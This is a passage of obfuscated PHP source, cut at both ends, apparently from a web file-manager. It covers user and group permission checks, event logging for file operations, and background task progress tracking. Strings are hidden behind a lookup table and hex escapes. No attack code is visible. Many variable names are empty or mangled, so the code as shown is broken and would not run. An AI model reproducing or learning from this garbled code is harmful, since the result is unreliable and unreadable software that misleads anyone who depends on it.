$ɓ[$[484]]; } } $̯ = $this->userGroupParents($酽); $۲ = array($[200] => SourceModel::TYPE_USER, $[578] => $酽); if ($̯) { $۲ = array(array($[200] => SourceModel::TYPE_USER, $[578] => $酽), array($[200] => SourceModel::TYPE_GROUP, $[578] => array($[501], $̯)), $[1089] => $[2080]); } $΃ = $this->field($[2182])->where($۲)->select(); $ = array(); $ = array_to_keyvalue_group($΃, $[203]); foreach ($ as $Ƥ => $ނ) { $Э = $this->authArrayCheck($ނ, $酽); if ($Э[$[497]] > 0) { $[] = $Ƥ . $[12]; } } if ($̯) { $ = Model($[594]); foreach ($̯ as $) { $ = $->getInfo($); if (!$ || !is_array($[$[100]])) { continue; } $[] = $[$[100]][$[203]]; } } $ί = array(); $ = $̯; $̼ = Model($[1429]); $ = Model($[594]); $ܠ = array(); $ = array(); $ = array(); $ = array(); if ($) { $Ġ = $̼->where(array($[203] => array($[501], $)))->select(); foreach ($Ġ as $) { $嵉ў = $̼->parentLevelArray($[$[593]]); $ί = array_merge($ί, $嵉ў); $[] = $[$[578]]; $ܠ[$[$[203]]] = $嵉ў; $[$[$[203]]] = $[$[578]]; } } $ = array_values(array_unique($)); $× = $; foreach ($× as $) { $ = $->getInfo($); $嵉ў = $̼->parentLevelArray($[$[593]]); $ = array_merge($, $嵉ў); } $ = array_values(array_unique($)); foreach ($ as $) { $ = $->getInfo($); $ί[] = $[$[100]][$[203]]; $[$] = $[$[100]][$[203]]; $[$] = $̼->parentLevelArray($[$[593]]); } foreach ($ܠ as $޼ => $) { $ = $[$޼]; if (!$ || !$[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $ܠ[$޼] = array_merge($, $); } $ί = array_values(array_unique($ί)); $ = array($[2174] => $ί, $[2175] => $ܠ); $꧋[$酽] = $; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[101]; $ = $[$[578]]; $ = $[$[200]] == SourceModel::TYPE_GROUP; $ܣ = $ ? $this->groupRootAuth($, $) : !1; if ($ܣ && Model($[580])->authCheckAction($ܣ[$[496]], $[1999])) { return $this->groupAuthInfo($ܣ, $); } $􄸶 = Model($[1429])->parentLevelArray($[$[593]]); $􄸶 = array_merge(array($[$[203]]), array_reverse($􄸶)); $梅 = !1; foreach ($􄸶 as $ֻ) { if (!isset($[$ֻ])) { continue; } $爡 = $this->authMake($[$ֻ], $); if ($爡[$[549]]) { $梅 = $爡; break; } } if (!$) { return $梅; } if (!$梅 && $ܣ) { $梅 = $this->groupAuthInfo($ܣ, $); } if (!$梅) { $ș = Model($[594])->getInfo($); $ɴ = explode($[50], trim($ș[$[593]], $[50])); $ɴ = array_reverse($ɴ); foreach ($ɴ as $ʏ) { if ($ʏ == $[238] || $ʏ == $) { continue; } $㉂ = $this->groupRootAuth($ʏ, $); if (!$㉂) { continue; } $梅 = $this->groupAuthInfo($㉂, $ʏ); break; } } if (!$梅 || $梅[$[497]] <= 0) { $ = $this->authDeepCheck($[$[203]], $); if ($) { $梅 = $; } } return $梅; } private function userIsRoot($ۯ = false) { $ =& $_SERVER[]; if (!$ۯ && KodUser::isRoot()) { return !0; } $ = Model($[607])->getInfo($ۯ); $Ќ = Model($[2183])->listData($[$[2184]]); if ($Ќ && $Ќ[$[584]][$[2185]] == 1) { return !0; } return !1; } private function sourceAuthInfo($ݓ) { $ؚ =& $_SERVER[]; $ = Model($ؚ[1429]); $ۓ = $->sourceInfo($ݓ); if (!$ۓ) { return !1; } $->groupPathDisplay($ۓ); $ = array($ۓ); $ = $->_listAppendPath($); $ۓ = $[0]; $ê = $ۓ[$ؚ[591]]; if (isset($ۓ[$ؚ[599]])) { $¨ = explode($ؚ[8], trim($ۓ[$ؚ[591]], $ؚ[8])); array_shift($¨); $ê = $ۓ[$ؚ[597]] . $ؚ[2186] . implode($ؚ[8], $¨); } return array($ؚ[503] => $ۓ[$ؚ[32]], $ؚ[97] => KodIO::make($ۓ[$ؚ[203]]), $ؚ[2187] => $ê); } private function groupAuthInfo($׈, $) { $ =& $_SERVER[]; $ɋÉ = Model($[594])->getInfo($); return array($[2188] => intval($׈[$[496]]), $[2171] => $׈, $[2189] => LNG($[2190]), $[2180] => array($[503] => $ɋÉ[$[32]], $[97] => KodIO::make($ɋÉ[$[100]][$[203]]), $[2187] => $ɋÉ[$[598]])); } protected function groupRootAuth($, $Ÿӡ = false) { $Ϸ =& $_SERVER[]; $Ÿӡ = $Ÿӡ ? $Ÿӡ : USER_ID; $ = $Ÿӡ . $Ϸ[2191] . $; static $䌭 = array(); if (isset($䌭[$])) { return $䌭[$]; } $ = Model($Ϸ[594])->getInfo($); $̝ = $this->userGroupList($Ÿӡ); $ = isset($̝[$]) ? $̝[$][$Ϸ[496]] : !1; if ($ && Model($Ϸ[580])->authCheckAction($[$Ϸ[496]], $Ϸ[1999])) { $䌭[$] = $; return $; } $عɧ = $this->sourceAuthSelect($[$Ϸ[100]][$Ϸ[203]]); $ӈ = $عɧ ? $this->authMake($عɧ, $Ÿӡ) : !1; $ڹ = $ӈ ? $ӈ[$Ϸ[549]] : !1; $䌭[$] = $ڹ ? $ڹ : $; return $䌭[$]; } public function authOwnerApply($Ӆ) { $ =& $_SERVER[]; if (empty($Ӆ[$[496]]) || isset($Ӆ[$[2192]]) && $Ӆ[$[2192]]) { return $Ӆ; } if (AuthModel::authCheckRoot($Ӆ[$[496]][$[497]])) { return $Ӆ; } $ = Model($[1429])->parentLevelArray($Ӆ[$[593]]); $ = array_merge(array($Ӆ[$[203]]), array_reverse($)); $ã = $this->sourceAuthSelect($); $ = array(); $ڰ = array(); foreach ($ã as $ɹ => $) { $Μ = $this->authFolderOwnerUser($); $[$ɹ] = $Μ; $ڰ = array_merge($ڰ, $Μ[$[671]]); if ($Μ[$[2193]]) { break; } } if (count($ڰ) == 0) { $ڰ = $this->authFolderOwnerGroup($Ӆ[$[578]]); } $ڰ = array_unique($ڰ); if (AuthModel::authCheckRoot($Ӆ[$[496]][$[497]])) { $ڰ[] = USER_ID; } $Ӆ[$[496]][$[2194]] = Model($[586])->userListInfo($ڰ); return $Ӆ; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($[2072])->where(array($[1978] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $ڸт) { $ޢ = $this->authInfo($ڸт); if (AuthModel::authCheckRoot($ޢ[$[496]])) { $[] = $ڸт[$[1779]]; } } return $; } private function authFolderOwnerUser($ֻ) { $գޒ =& $_SERVER[]; $͞ = array(); $ш˂ = !1; foreach ($ֻ as $) { $̛ = $this->authInfo($); if ($[$գޒ[578]] == $գޒ[238]) { $ш˂ = !0; } if ($[$գޒ[200]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($̛[$գޒ[496]])) { $͞[] = $[$գޒ[578]]; } } } return array($գޒ[671] => $͞, $գޒ[2193] => $ш˂); } public function authMake($鎻, $ײܕ = false) { $ſҫ =& $_SERVER[]; $Ӕ = $this->authArrayCheck($鎻, $ײܕ); if ($Ӕ[$ſҫ[2195]]) { $Ӕ[$ſҫ[2195]] = $this->sourceAuthInfo($Ӕ[$ſҫ[2195]]); } return $Ӕ; } public function authArrayCheck($瓷, $љ = false) { $ި =& $_SERVER[]; if (!$瓷) { return array($ި[497] => 0, $ި[549] => !1); } $љ = $љ ? $љ : USER_ID; $ۡ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $螪 = 0; $€ଫ = 1000; $Æ = 0; $ = 0; $Λ = 0; $訒 = 0; $ = array($ި[203] => 0); foreach ($瓷 as $) { $ͪ = $this->authInfo($); if (!$ͪ) { continue; } $ = $[$ި[578]]; $ͷ = intval($ͪ[$ި[496]]); if ($[$ި[200]] == SourceModel::TYPE_USER && $ == $љ) { $ۡ = !0; $ = $ͪ; $ = $ͷ; } else { if ($[$ި[200]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $љ)) { $ = !0; $ = $this->groupStepToUserGroup($, $љ); if ($ < $€ଫ) { $€ଫ = $; $ = $ͷ; $螪 = $ͪ; $Æ = $; } if ($ == $€ଫ && $ͷ >= $) { $ = $ͷ; $螪 = $ͪ; $Æ = $; } } else { if ($ == $ި[238]) { $ = !0; $訒 = $ͪ; $Λ = $ͷ; } } } } if ($ۡ) { $ = $; $ͪ = $; $ = LNG($ި[2196]); } else { if ($) { $ = $; $ͪ = $螪; $̉ = Model($ި[594])->getInfo($Æ); $ = $ި[186] . $̉[$ި[598]] . $ި[2197] . LNG($ި[2198]); } else { if ($) { $ = $Λ; $ͪ = $訒; $ = LNG($ި[2168]); } else { $ = 0; $ͪ = !1; $ = $ި[12]; } } } $Ѐ = array($ި[2188] => intval($), $ި[2171] => $ͪ, $ި[2189] => $, $ި[2180] => $[$ި[203]]); return $Ѐ; } private function groupContainUser($ӂ, $ = false) { return in_array($ӂ, $this->userGroupParents($)); } private function groupStepToUserGroup($Դ, $Ó = false) { $ =& $_SERVER[]; $޺ = $this->userGroupList($Ó); $ = 1000; $ڲ́ = $GLOBALS[$[6]][$[102]][$[2085]] == 1; $ = $ڲ́ ? 3 : 2; foreach ($޺ as $) { if ($[$[1978]] == $Դ) { return 0; } $ؿ = explode($[50], trim($[$[593]], $[50])); if ($ؿ[0] == $[238] && count($ؿ) > $) { $ = array_reverse(array_slice($ؿ, $)); $ŧܱ = array_search($Դ, $); if ($ŧܱ !== !1 && $ŧܱ + 1 <= $) { $ = $ŧܱ + 1; } } } return $; } private function userGroupList($ = false) { $Э =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $Ƌ = Model($Э[607])->getInfo($); $[$] = array_to_keyvalue($Ƌ[$Э[2169]], $Э[1978]); return $[$]; } public function userGroupParents($ӈ) { $՝ =& $_SERVER[]; static $۲ = array(); $ӈ = $ӈ ? $ӈ : USER_ID; if (isset($۲[$ӈ])) { return $۲[$ӈ]; } $ = $this->userGroupList($ӈ); $ހџ = array(); $ = $GLOBALS[$՝[6]][$՝[102]][$՝[2085]] == 1; $ݳ = $ ? 3 : 2; foreach ($ as $Յ) { $ܡ = array($Յ[$՝[1978]]); $ = explode($՝[50], trim($Յ[$՝[593]], $՝[50])); if ($[0] == $՝[238] && count($) > $ݳ) { $ = array_slice($, $ݳ); $ܡ = array_merge($ܡ, array_reverse($)); } $ހџ = array_merge($ހџ, $ܡ); } $۲[$ӈ] = array_unique($ހџ); return $۲[$ӈ]; } public function authTargetInfoMake($열ީ) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($열ީ as $ܢé) { if ($ܢé[$[200]] == SourceModel::TYPE_USER) { $[] = intval($ܢé[$[578]]); } else { if ($ܢé[$[200]] == SourceModel::TYPE_GROUP) { $[] = intval($ܢé[$[578]]); } } } if ($) { $ = Model($[586])->userListInfo($); } if ($) { $ʬ = array($[2070] => array($[501], $)); $ = Model($[594])->field($[2199])->where($ʬ)->select(); $ = array_to_keyvalue($, $[1978]); } return array($[2200] => $, $[2201] => $); } public function authInfo($̻) { $Ľޜ =& $_SERVER[]; if ($̻[$Ľޜ[2086]]) { $̨ = Model($Ľޜ[580])->listData($̻[$Ľޜ[2086]]); if (!$̨) { return !1; $Ѽ = Model($Ľޜ[580])->listData(); $޶ = array_filter_by_field($Ѽ, $Ľޜ[496], $Ľޜ[238]); return $޶; } $ω = array_field_key($̨, array($Ľޜ[484], $Ľޜ[32], $Ľޜ[496], $Ľޜ[2001], $Ľޜ[2002])); $ω[$Ľޜ[2202]] = $̻; return $ω; } else { return array($Ľޜ[502] => 0, $Ľޜ[1984] => $̻[$Ľޜ[2146]], $Ľޜ[503] => $Ľޜ[12], $Ľޜ[2001] => $Ľޜ[2203]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\x75\x72\143\145\137\x65\x76\145\156\x74"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\124\151\x6d\145", "\x74\151\155\145", "\151\x6e\x73\x65\162\x74", "\x66\x75\156\143\x74\151\x6f\x6e"), array("\144\x65\163\x63", '', "\x69\x6e\163\x65\x72\x74\x2c\165\x70\144\x61\x74\145\x2c\x73\145\x6c\145\143\164", "\152\x73\157\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ȣ, $, $ = '') { $ሔ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($ሔ[1429])->sourceInfo($ȣ); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($ && is_string($)) { $ = array($ሔ[2017] => $); } $Ž = defined($ሔ[2204]) ? USER_ID : 0; $ٚ = array($ሔ[500] => $ȣ, $ሔ[2205] => $[$ሔ[202]], $ሔ[2206] => $[$ሔ[32]], $ሔ[591] => !empty($[$ሔ[591]]) ? $[$ሔ[591]] : $ሔ[12], $ሔ[1770] => $Ž, $ሔ[505] => $, $ሔ[1772] => $); $this->addSystemLog($, $ٚ); unset($ٚ[$ሔ[2206]], $ٚ[$ሔ[591]]); return $this->add($ٚ); } private function addSystemLog($ƫ, $ϳĴ) { $ =& $_SERVER[]; if ($ƫ == $[2207]) { $ƫ = $ϳĴ[$[535]][$[2208]]; } else { if (in_array($ƫ, array($[1957], $[2209]))) { $ƫ = $ϳĴ[$[535]][$[181]]; } } $Ӭ = array_merge($ϳĴ, array($[2210] => $ϳĴ[$[203]], $[2211] => $ϳĴ[$[2211]])); Hook::trigger($[2212], $[2213] . $ƫ, $ϳĴ); Model($[1921])->addLog($[2213] . $ƫ, $Ӭ); } private function isDisableEvent($ټ, $Ȩ) { $ī䐴 =& $_SERVER[]; if ($ټ[$ī䐴[200]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($Ȩ == $ī䐴[1946]) { return !1; } return !0; } public function eventCreate($а, $ڢ) { $ =& $_SERVER[]; $ = Model($[1429])->sourceInfo($а); $ǣ = array($[2208] => $ڢ, $[32] => $[$[32]]); return $this->addEvent($а, $[2207], $ǣ); } public function eventFileEdit($ۖ) { $ =& $_SERVER[]; $ú = array($[2214] => $_SERVER[$[2215]], $[2216] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2217]])) { $ú[$[2217]] = $[101]; } return $this->addEvent($ۖ, $[1947], $ú); } public function eventRecycle($ǒ, $) { return $this->addEvent($ǒ, $_SERVER[][2209], $); } private static $_removeLast = ''; public function eventRemove($򬅲) { $ =& $_SERVER[]; self::$_removeLast = $򬅲; $ = Model($[1429])->sourceInfo($򬅲); $񘺌 = array_field_key($, array($[203], $[550], $[514], $[593])); $ˑ = array($[181] => $[$[32]], $[2216] => ACTION, $[2218] => $񘺌); return $this->addEvent($[$[202]], $[1946], $ˑ); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1957], $); } public function eventMove($ʙ, $, $) { $ =& $_SERVER[]; if (self::$_removeLast == $ʙ) { return; } $˫ǚ߭ = Model($[1429]); $̓ = $˫ǚ߭->sourceInfo($ʙ); $ = $˫ǚ߭->sourceInfo($); $Ǥ۴ = $˫ǚ߭->sourceInfo($); $ǭ = array($[1252] => $, $[2219] => $[$[32]], $[2195] => !empty($[$[591]]) ? $[$[591]] : $[12], $[1253] => $, $[2220] => $Ǥ۴[$[32]], $[2221] => !empty($Ǥ۴[$[591]]) ? $Ǥ۴[$[591]] : $[12]); $this->addEvent($ʙ, $[629], $ǭ); $̓ = $˫ǚ߭->sourceInfo($ʙ); $ǭ = array($[203] => $̓[$[203]], $[32] => $̓[$[32]]); $this->addEvent($, $[2222], $ǭ); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][627]); } public function eventRename($Ϲ, $, $湳) { $ =& $_SERVER[]; $󦴾 = array($[1252] => $, $[1253] => $湳); return $this->addEvent($Ϲ, $[1443], $󦴾); } public function eventAddComment($ʹÌ, $ą) { return $this->addEvent($ʹÌ, $_SERVER[][2223], $ą); } public function eventAddDesc($ߟƏ, $౸ׇ) { return $this->addEvent($ߟƏ, $_SERVER[][2224], $౸ׇ); } public function listBySource($̛ٟ) { $ =& $_SERVER[]; $ฉ = Model($[1429])->sourceInfo($̛ٟ); $ݖ = array($[500] => $̛ٟ); if ($ฉ[$[494]] == $[101]) { $ = Model($[1429])->listSearchChildren($̛ٟ, 20000); $[] = $̛ٟ . $[463]; $ݖ = array($[203] => array($[7], $)); } $ܛ = $this->where($ݖ)->order($[2225])->selectPage(); if ($ܛ[$[451]][$[452]] == 0) { $ܛ[$[451]][$[452]] = 1; $ܛ[$[454]] = array(array($[500] => $̛ٟ, $[2205] => $ฉ[$[202]], $[1770] => $ฉ[$[536]], $[505] => $[2226], $[506] => $ฉ[$[241]], $[1772] => $[12])); } return $this->eventListParse($ܛ, $̛ٟ); } private function eventListParse($и, $ȫ) { $ث =& $_SERVER[]; $ = $и[$ث[454]]; $򘗏 = array_to_keyvalue($, $ث[12], $ث[203]); $ = array_to_keyvalue($, $ث[12], $ث[2211]); foreach ($ as $䆌) { $ = $䆌[$ث[535]]; if ($䆌[$ث[33]] == $ث[629] && isset($[$ث[1252]])) { $򘗏[] = $[$ث[1252]] . $ث[12]; $򘗏[] = $[$ث[1253]] . $ث[12]; } if ($䆌[$ث[33]] == $ث[2222] && isset($[$ث[203]])) { $򘗏[] = $[$ث[203]] . $ث[12]; } } $򘗏 = array_merge($򘗏, $, array($ȫ . $ث[12])); $򘗏 = array_unique($򘗏); $ = array_unique(array_to_keyvalue($, $ث[12], $ث[1779])); $ = Model($ث[607])->userListInfo($); $삢 = Model($ث[914])->sourceListInfo($򘗏, !0); foreach ($ as &$䆌) { if ($䆌[$ث[33]] == $ث[629] && isset($䆌[$ث[535]][$ث[1252]])) { $䆌[$ث[535]][$ث[1252]] = $삢[$䆌[$ث[535]][$ث[1252]]]; $䆌[$ث[535]][$ث[1253]] = $삢[$䆌[$ث[535]][$ث[1253]]]; } if ($䆌[$ث[33]] == $ث[2222] && isset($䆌[$ث[535]][$ث[203]])) { $䆌[$ث[535]][$ث[203]] = $삢[$䆌[$ث[535]][$ث[203]]]; } $䆌[$ث[100]] = $삢[$䆌[$ث[203]]]; $䆌[$ث[2227]] = $삢[$䆌[$ث[2211]]]; if ($䆌[$ث[33]] == $ث[1946]) { $䆌[$ث[2227]] = $䆌[$ث[100]]; $䆌[$ث[2211]] = $䆌[$ث[2227]][$ث[203]]; $䆌[$ث[100]] = !1; $䆌[$ث[203]] = $ث[12]; } $䆌[$ث[2154]] = $[$䆌[$ث[1779]]]; } unset($䆌); $и[$ث[454]] = $; return $и; } public function removeBySource($嬒) { $ = array($_SERVER[][500] => $嬒); $this->where($)->remove(); } } goto EǷ; b凚: class Task { const STATYS_STOP = "\x73\164\x6f\x70"; const STATYS_RUNNING = "\x72\165\x6e\x6e\x69\x6e\x67"; const STATYS_KILL = "\x6b\151\154\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $Ȕ = '', $ = 0, $ౢ = '') { $ͥ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($ͥ[484] => $, $ͥ[1779] => USER_ID, $ͥ[1668] => $ౢ, $ͥ[535] => $ͥ[12], $ͥ[33] => $Ȕ, $ͥ[1154] => $ͥ[12], $ͥ[1152] => $, $ͥ[1780] => 0, $ͥ[1781] => 0, $ͥ[1782] => 0, $ͥ[1783] => timeFloat(), $ͥ[1784] => 0, $ͥ[1785] => 0, $ͥ[1786] => 0, $ͥ[1787] => 0, $ͥ[839] => $ͥ[1729]); $GLOBALS[$ͥ[1788]] = 1; Hook::bind($ͥ[1733], array($this, $ͥ[1789])); Hook::bind($ͥ[1790], array($this, $ͥ[1791])); $this->startAfter(); Hook::trigger($ͥ[1792], $this->task); $this->task[$ͥ[1785]] = timeFloat(); } public function end($؃ڀ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1785]]) { self::valueSet($this->task[$[484]], !1); } $this->isEnd = !0; if ($؃ڀ) { $this->task[$[535]] = $؃ڀ; } self::log($[1793] . $this->task[$[484]] . $[1794] . sprintf($[940], timeFloat() - $this->task[$[1783]]) . $[1795]); Hook::unbind($[1733], array($this, $[1789])); Hook::unbind($[1790], array($this, $[1791])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1796], $); } public function update($ = 0, $¾먛 = false) { $ =& $_SERVER[]; $쐇 =& $this->task; if (!$쐇) { return; } $쐇[$[1780]] += $; $쐇[$[1784]] = timeFloat(); if ($쐇[$[1152]]) { if ($쐇[$[1152]] < $쐇[$[1780]]) { $쐇[$[1152]] = $쐇[$[1780]]; } $ђ = timeFloat() - $쐇[$[1783]] - $쐇[$[1786]]; if ($ђ <= 0) { $ђ = 0.001; } $쐇[$[1781]] = $쐇[$[1780]] / $쐇[$[1152]]; $쐇[$[1782]] = $쐇[$[1780]] / $ђ; if ($쐇[$[1781]] > 0) { $쐇[$[1787]] = $ђ * (1 - $쐇[$[1781]]) / $쐇[$[1781]]; } $쐇[$[1787]] = $쐇[$[1787]] <= 0 ? 0 : $쐇[$[1787]]; } $this->updateAfter(); $ٖ = 0.2; if (timeFloat() - $쐇[$[1785]] < $ٖ && !$¾먛) { return; } $ˤۡ = self::get($쐇[$[484]]); $դ = $ˤۡ[$[839]]; if ($դ == self::STATYS_KILL) { $ = array($[1797] => LNG($[1798]), $[1308] => !1); Cache::set($[1799] . $this->task[$[484]], $, 30); $this->onKill(); $this->end(); die; } else { if ($դ == self::STATYS_STOP) { $˚ = 2; $ˤۡ[$[1786]] += $˚; self::valueSet($쐇[$[484]], $ˤۡ); sleep($˚); $this->update(); return; } } $쐇[$[839]] = $դ ? $դ : $쐇[$[839]]; $쐇[$[1786]] = $ˤۡ[$[1786]] ? $ˤۡ[$[1786]] : 0; $쐇[$[1785]] = timeFloat(); Hook::trigger($[1800], $쐇); self::valueSet($쐇[$[484]], $쐇); } public function onKillSet($, $횬 = array()) { $this->onKillCall = array($, $횬); } public function onKill() { $ =& $_SERVER[]; self::log($[1793] . $this->task[$[484]] . $[1801]); Hook::trigger($[1802], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ɨՔ) { $ =& $_SERVER[]; Cache::set($[1799] . $this->task[$[484]], $ɨՔ, 60); return $ɨՔ; } public static function get($؊) { $ =& $_SERVER[]; $ʛ = self::valueGet($؊); if (is_array($ʛ) && $ʛ[$[1803]]) { $ܟ = ActionApply($ʛ[$[1803]], array($ʛ)); $ʛ = is_array($ܟ) ? $ܟ : $ʛ; } return $ʛ; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1783], !0); } public static function kill($ʶ) { return self::changeStatus($ʶ, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($͵) { return self::changeStatus($͵, self::STATYS_RUNNING); } public static function killAll() { $ܓ =& $_SERVER[]; $烓 = self::listData(); foreach ($烓 as $˹) { self::kill($˹[$ܓ[484]]); } sleep(2); foreach ($烓 as $˹) { self::valueSet($˹[$ܓ[484]], !1); } } private static function changeStatus($١, $) { $Ľ =& $_SERVER[]; $ = self::valueGet($١); if (!$) { return !1; } $[$Ľ[839]] = $; self::valueSet($١, $); self::log($Ľ[1804] . $[$Ľ[484]] . $Ľ[1805] . $); return !0; } public static function valueGet($ѿ = false) { $Ƹ =& $_SERVER[]; if ($ѿ) { $ = Model($Ƹ[529])->where(array($Ƹ[107] => $ѿ, $Ƹ[33] => $Ƹ[1161]))->find(); return $ ? json_decode($[$Ƹ[459]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ڒŊ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1161]); if ($ڒŊ) { $[$[1779]] = $ڒŊ; } $ۖ = Model($[529])->where($)->select(); $ۖ = $ۖ ? $ۖ : array(); foreach ($ۖ as $ => $܄) { $ۖ[$] = json_decode($܄[$[459]], !0); } return $ۖ; } public static function valueSet($ֱ, $) { $ =& $_SERVER[]; if (!$) { return Model($[529])->where(array($[107] => $ֱ, $[33] => $[1161]))->delete(); } $̓ = json_encode($); if (!$̓) { ob_start(); var_dump($); $󭕊 = ob_get_clean(); self::log($[1806] . json_encode_force($󭕊)); } if (!$ֱ || !$[$[484]]) { return !1; } $ = array($[33] => $[1161], $[1779] => USER_ID, $[107] => $ֱ, $[459] => $̓); $آޔ = $[1807]; CacheLock::lock($آޔ); Model($[529])->add($, array(), !0); CacheLock::unlock($آޔ); } public static function log($̲ī) { if (!GLOBAL_DEBUG) { return; } write_log($̲ī, $_SERVER[][1808]); } } class TaskFileTransfer extends Task { protected function startAfter() { $₍ =& $_SERVER[]; $¶Ѯ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($₍[1809], array($this, $₍[1810])); Hook::bind($₍[1319], array($this, $₍[1811])); Hook::bind($₍[1812], array($this, $₍[1813])); Hook::bind($₍[677], array($this, $₍[1814])); Hook::bind($₍[678], array($this, $₍[1815])); Hook::bind($₍[684], array($this, $₍[1816])); Hook::bind($₍[685], array($this, $₍[1817])); Hook::bind($₍[680], array($this, $₍[1818])); Hook::bind($₍[682], array($this, $₍[1819])); Hook::bind($₍[646], array($this, $₍[1820])); Hook::bind($₍[643], array($this, $₍[1820])); Hook::bind($₍[648], array($this, $₍[1820])); Hook::bind($₍[650], array($this, $₍[1820])); Hook::bind($₍[652], array($this, $₍[1820])); Hook::bind($₍[1821], array($this, $₍[1822])); Hook::bind($₍[668], array($this, $₍[1823])); $this->sourceModelCopyFlag = !1; Hook::bind($₍[1824], array($this, $₍[1825])); Hook::bind($₍[1826], array($this, $₍[1827])); Hook::bind($₍[1828], array($this, $₍[1829])); $¶Ѯ[$₍[1830]] = LNG($₍[1831]); $¶Ѯ[$₍[1832]] = 0; $¶Ѯ[$₍[1833]] = 0; $¶Ѯ[$₍[1154]] = $₍[12]; $¶Ѯ[$₍[1834]] = $₍[12]; $¶Ѯ[$₍[1835]] = 0; $¶Ѯ[$₍[1836]] = 0; $¶Ѯ[$₍[1837]] = 0; if (!$¶Ѯ[$₍[1668]]) { $¶Ѯ[$₍[1668]] = LNG($₍[1838]); } } protected function endAfter() { $ڧ =& $_SERVER[]; Hook::unbind($ڧ[1809], array($this, $ڧ[1810])); Hook::unbind($ڧ[1319], array($this, $ڧ[1811])); Hook::unbind($ڧ[1812], array($this, $ڧ[1813])); Hook::unbind($ڧ[677], array($this, $ڧ[1814])); Hook::unbind($ڧ[678], array($this, $ڧ[1815])); Hook::unbind($ڧ[684], array($this, $ڧ[1816])); Hook::unbind($ڧ[685], array($this, $ڧ[1817])); Hook::unbind($ڧ[680], array($this, $ڧ[1818])); Hook::unbind($ڧ[682], array($this, $ڧ[1819])); Hook::unbind($ڧ[646], array($this, $ڧ[1820])); Hook::unbind($ڧ[643], array($this, $ڧ[1820])); Hook::unbind($ڧ[648], array($this, $ڧ[1820])); Hook::unbind($ڧ[650], array($this, $ڧ[1820])); Hook::unbind($ڧ[652], array($this, $ڧ[1820])); Hook::unbind($ڧ[1821], array($this, $ڧ[1822])); Hook::unbind($ڧ[668], array($this, $ڧ[1823])); Hook::unbind($ڧ[1824], array($this, $ڧ[1825])); Hook::unbind($ڧ[1826], array($this, $ڧ[1827])); Hook::unbind($ڧ[1828], array($this, $ڧ[1829])); } public function copyMoveStart($ή, $, $܅, $ѣ٨) { $օ =& $_SERVER[]; self::log($օ[1839] . $ . $օ[83] . $ѣ٨); $˯ = rtrim(TEMP_FILES, $օ[8]); if (substr($, 0, strlen($˯)) == $˯) { return; } if (substr($ѣ٨, 0, strlen($˯)) == $˯) { return; } $ =& $this->task; $[$օ[1840]] = KodIO::transferType($ή, $܅); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[852]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1840]] == $[1412]) { return; } self::updateTask($); } private static function updateTask(&$˜) { $ =& $_SERVER[]; if ($˜[$[1840]] == $[1290] || $˜[$[1840]] == $[120]) { if ($˜[$[1834]]) { $˜[$[1837]] = $˜[$[1836]] + $˜[$[1833]]; } } else { if ($˜[$[1840]] == $[1413]) { if ($˜[$[1834]] == $[1290]) { $˜[$[1837]] = $˜[$[1836]] + $˜[$[1833]] * 0.5; } else { if ($˜[$[1834]] == $[120]) { $˜[$[1837]] = $˜[$[1836]] + $˜[$[1832]] * 0.5 + $˜[$[1833]] * 0.5; } } } } $˜[$[1781]] = $˜[$[1837]] / $˜[$[852]]; if ($˜[$[1781]] > 0) { $Ϝ = timeFloat() - $˜[$[1783]] - $˜[$[1786]]; $˜[$[1787]] = $Ϝ * (1 - $˜[$[1781]]) / $˜[$[1781]]; } } public function addPath($) { $՛ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$՛[1841]] ? $[$՛[1841]][$՛[1842]] : 0; $[$՛[1841]] = array($՛[1842] => $ + 1, $՛[503] => $[$՛[32]], $՛[97] => $[$՛[97]], $՛[591] => $[$՛[591]] ? $[$՛[591]] : $[$՛[97]]); if ($[$՛[33]] == $՛[240]) { $[$՛[1152]] += 1; } else { $[$՛[1152]] += $[$՛[92]][$՛[90]]; if ($[$՛[203]]) { $[$՛[1152]] += $[$՛[92]][$՛[91]] + 1; } } $[$՛[852]] += $[$՛[89]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($ۢ) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ӳ =& $this->task; $ӳ[$[1832]] = $[$[89]]; $ӳ[$[1830]] = 